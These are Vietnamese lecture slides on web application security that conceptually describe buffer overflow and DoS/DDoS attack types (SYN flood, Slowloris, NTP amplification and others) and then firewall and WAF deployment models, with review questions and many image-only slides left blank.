CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
Một số câu hỏi
1. Hãy mô tả ngắn gọn cách khai thác các lỗ hỏng sau:
‐ XSS
‐ SQL Injection
‐ SESSION ID
112
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.5 Tràn bộ đệm (Buffer Overflow)
Khái niệm
Một khối lượng dữ liệu được gửi cho ứng dụng vượt quá lượng dữ liệu được cấp phát
khiến cho ứng dụng không thực thi được câu lệnh dự định kế tiếp mà thay vào đó phải
thực thi một đoạn mã bất kì do hacker đưa vào hệ thống.
Nghiêm trọng hơn nếu ứng dụng được cấu hình để thực thi với quyền root trên hệ
thống
113
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DDoS)
Khái niệm
Dos hay Denial of Service nghĩa là từ chối dịch vụ. Đây là một hình thức tấn công phổ biến
được khá nhiều hacker sử dụng hiện nay. Để tấn công từ chối dịch vụ Dos, tin tặc sẽ tạo ra một
lượng rất lớn các truy cập đến máy tính mục tiêu, khiến nó không kịp xử lý kịp các tác vụ cần
thiết từ đó dẫn đến quá tải và ngừng hoạt động.
DDos viết tắt của Distributed Denial of Service là tấn công từ chối dịch vụ phân tán và là phiên
bản nâng cấp của Dos vì rất khó bị ngăn chặn
114
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)
Khái niệm
‐ Kiểu tấn công làm cho các dịch vụ mạng bị tê liệt, không còn khả năng đáp ứng được yêu cầu
nữa.
‐ Dễ thực hiện nhưng khó bảo vệ hệ thống khỏi kiểu tấn công DoS
‐ Ví dụ: dùng phần mềm gửi hàng loạt yêu cầu đến máy chủ khiến cho máy chủ không thể đáp
ứng những yêu cầu chính đáng khác
115
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)
Hiện nay, tin tặc thường sử dụng các kiểu tấn công DDos sau:
116
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)
SYN Flood
SYN Flood là hình thức tấn công được thực hiện để khai thác điểm yếu trong giao thức
kết nối mạng TCP.
Theo phương thức giao tiếp internet thông thường thì máy chủ sẽ nhận 1 thông điệp
nội bộ (SYN) để tiến hành “bắt tay” (handshake). Khi đã nhận được thông điệp, máy
chủ sẽ gửi cờ báo nhận (ACK) tới máy lưu trữ ban đầu và đóng kết nối.
Nhưng một khi tin tặc đã tấn công SYN Flood, các thông điệp giả mạo sẽ được
gửi đi liên tục, dẫn đến kết nối không được đóng lại và dịch vụ bị đánh sập.
117
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)
SYN Flood
118
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)
UDP Flood
UDP (User Datagram Protocol) được hiểu là giao thức kết nối không tin cậy. Theo đó,
UDP Flood sẽ tấn công gây ngập lụt UDP.
Khi thực hiện phương thức tấn công này, tin tặc sẽ gửi một lượng lớn các gói tin UDP
tới một số cổng ngẫu nhiên trên server. Máy chủ kiểm tra và trả lời với một ICMP
Destination Unreachable (gói tin không tìm thấy).
Khi số lượng yêu cầu UDP vượt quá ngưỡng cho phép, máy chủ sẽ mất khả
năng xử lý request, dẫn đến tình trạng từ chối dịch vụ.
119
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)
UDP Flood
120
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)
Ping of Death
Ping of Death là kỹ thuật tấn công làm quá tải hệ thống máy chủ trực tuyến bằng
cách gửi đến các gói tin ICMP có kích thước trên 65.536 byte đến mục tiêu. Bởi kích
thước tệp vượt quá mức cho phép của gói tin IP nên chúng sẽ được chia thành từng
phần nhỏ và gửi đến hệ thống máy đích.
Khi đến nơi, các phần này sẽ được phép lại thành một gói tin hoàn chỉnh vượt quá khả
năng xử lý của hệ thống, gây tràn bộ nhớ đệm và khiến máy chủ bị treo.
121
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)
Slowloris
Tin tặc sẽ gửi đến server một lượng lớn yêu cầu HTTP không hoàn chỉnh. Đồng thời cố
gắng duy trì số kết nối tối đa trong thời gian dài.
Khi số lượng kết nối của webserver đạt cực đại (webserver bị đầy kết nối), máy chủ sẽ
bắt đầu từ chối những yêu cầu kết nối tiếp theo, bao gồm cả request của người dùng
thông thường.
122
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)
Application Level Attack tấn công vào lỗ hổng bảo mật các thiết bị mạng, hệ điều
hành server. Đây được xem là loại tấn công tinh vi và gây ra hậu quả lớn nhất.
123
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)
NTP Amplification
NTP Amplification là kiểu tấn công khai thác lỗ hổng tính năng Monlist của máy chủ
NTP. Monlist là gì? Monlist là danh sách các máy tính kết nối với máy chủ NTP. Cụ thể,
tin tặc sẽ gửi request yêu cầu Monlist đến NTP server bằng IP giả. Source IP bị giả
mạo chính là địa chỉ IP của máy tính mục tiêu. Vì vậy, các NTP server sẽ liên tục gửi
phản hồi Monlist về cho nạn nhân. Điều này khiến hệ thống webserver mục tiêu bị
quá tải.
Vì sử dụng IP giả mạo và có khả năng khuếch đại và sử dụng băng thông lớn nên NTP
Amplification là một kiểu tấn công “ném đá giấu tay” có tính phá hoại rất cao
124
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)
Đây là một loại tấn công có thể gây ra nhiều thiệt hại nghiêm trọng cho nạn nhân.
Advanced Persistent Dos sử dụng kết hợp nhiều kiểu tấn công đã được đề cập ở trên.
Ví dụ như HTTP Flood, SYN Flood,….
Để làm quá tải hệ thống webserver mục tiêu. Thường thì APDos sẽ gửi hàng triệu yêu
cầu/giây và các cuộc tấn công này kéo dài hàng tuần.
125
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)
Zero-day DDos Attack là một kiểu tấn công DDos mới, gây quá tải hệ thống bằng cách
khai thác các lỗ hổng chưa được vá của máy chủ.
126
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)
‐ Giới hạn tỷ lệ
127
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)
128
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.7 Một số kỹ thuật khác
‐ Mã hóa URL.
129
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ
ỨNG DỤNG WEB (4:3:14)
130
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB (4:3:14)
131
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.1 Khái niệm thiết bị bảo vệ
Một hệ thống mạng bảo mật luôn phải đảm bảo các mục tiêu như
‐ Cho phép hoặc cấm những dịch vụ truy cập ra ngoài;
‐ Cho phép hoặc cấm những dịch vụ từ ngoài truy cập vào trong;
‐ Theo dõi luồng dữ liệu mạng giữa Internet và Intranet (mạng nội bộ);
‐ Kiểm soát và cấm địa chỉ truy nhập;
‐ Kiểm soát người sử dụng và việc truy cập của người sử dụng;
‐ Kiểm soát nội dung thông tin lưu chuyển trên mạng.
132
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.1 Khái niệm thiết bị bảo vệ
133
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.1 Khái niệm thiết bị bảo vệ
134
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.1 Khái niệm thiết bị bảo vệ
135
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.1 Khái niệm thiết bị bảo vệ
136
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.2 Thiết bị bảo vệ lớp mạng
137
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.2 Thiết bị bảo vệ lớp mạng
Chúng ta nhìn thấy một số vấn đề nổi bật về bảo mật thông tin như:
- Các cuộc tấn công, xâm hại vào các hệ thống website diễn ra ngày càng liên
tục và tinh vi.
- Các hệ thống máy chủ được trang bị tất cả các giải pháp bảo mật tiên tiến vẫn
chịu sự tấn công trực tiếp mà không ngăn chặn hoàn toàn được.
138
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.2 Thiết bị bảo vệ lớp mạng
Theo thống kê các phương thức tấn công mạng phổ biến hiện nay, các kiểu tấn
công truyền thống như SQL Injection, Cross-Site Script, Brute Force... vẫn
đang gây thiệt hại cho hệ thống mạng dù đã được cảnh báo từ rất lâu.
139
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.2 Thiết bị bảo vệ lớp mạng
140
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.3 Thiết bị bảo vệ ứng dụng web
141
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
?
4.3 Thiết bị bảo vệ ứng dụng web
Tường lửa (Firewall) là một hệ thống an ninh mạng sử dụng các quy tắc để kiểm
soát traffic vào, ra khỏi hệ thống.
Còn đối với WAF (Web Application Firewall) thì đây là một giải pháp nhằm
bảo vệ cho ứng dụng web tránh khỏi các lỗi bảo mật và các cuộc tấn công, mã độc
từ tin tặc, khai thác các lỗ hổng về giao thức.
142
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.3 Thiết bị bảo vệ ứng dụng web
Các thiết bị WAF cứng thường được đặt sau tường lửa mạng và trước máy chủ
ứng dụng web.
Việc đặt WAF được thực hiện sao cho tất cả các lưu lượng đến ứng dụng web cần
qua WAF trước.
Ngoài ra, các chương trình WAF còn được cài đặt trực tiếp lên máy chủ web và thực
hiện các chức năng tương tự như các thiết bị WAF.
143
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.3 Thiết bị bảo vệ ứng dụng web
Reverse Proxy: Trong mô hình này, WAF đứng ra làm trung gian để gửi các yêu cầu
này đến máy chủ web thay cho trình duyệt gốc rồi gửi trả lại kết quả cho các địa chỉ
IP kia. Mô hình này có nhược điểm là tạo ra độ trễ khi kết nối từ trình duyệt
đến ứng dụng web.
144
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.3 Thiết bị bảo vệ ứng dụng web
Transparent Proxy: WAF đứng giữa tường lửa mạng và máy chủ web và hoạt động
tương tự ở mô hình Reverse Proxy nhưng không đứng ra làm trung gian kết nối như
bên Reverse Proxy. Mô hình này không đòi hỏi phải thay đổi điều gì trong hạ tầng
mạng nhưng có thể không cung cấp được một số dịch vụ như mô hình Reverse Proxy
có thể.
145
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.3 Thiết bị bảo vệ ứng dụng web
Layer 2 Brigde: WAF đứng giữa tường lửa mạng và máy chủ web, nhưng hoạt động
giống như một thiết bị Switch ở lớp 2. Mô hình này giúp mạng hoạt động với hiệu
năng cao và mạng thay đổi không đáng kể, tuy nhiên nó lại không thể cung cấp các
dịch vụ cao cấp khác mà các mô hình WAF khác có thể.
146
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.3 Thiết bị bảo vệ ứng dụng web
Host/Server Based: Đây là các phần mềm được cài trực tiếp lên máy chủ web. Các
loại Host based không cung cấp các tính năng tương tự như các loại WAF network
base.
Tuy nhiên mô hình này có thể khắc phục được vài điểm yếu mà các mô hình network
base (các thiết bị WAF cứng) có. Tuy nhiên nó cũng làm tăng mức độ tải của máy chủ
web.
147
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.3 Thiết bị bảo vệ ứng dụng web
1. Hãy so sánh 4 mô hình triển khai WAF ? Ưu, khuyết điểm của chúng ?
2. Tường lửa mạng có thể thay thế được cho WAF được hay không ?
3. Đối với cơ quan, tổ chức vừa và nhỏ có cần thiết phải trang bị WAF ?
148
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.3 Thiết bị bảo vệ ứng dụng web
149
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB (4:3:14)
150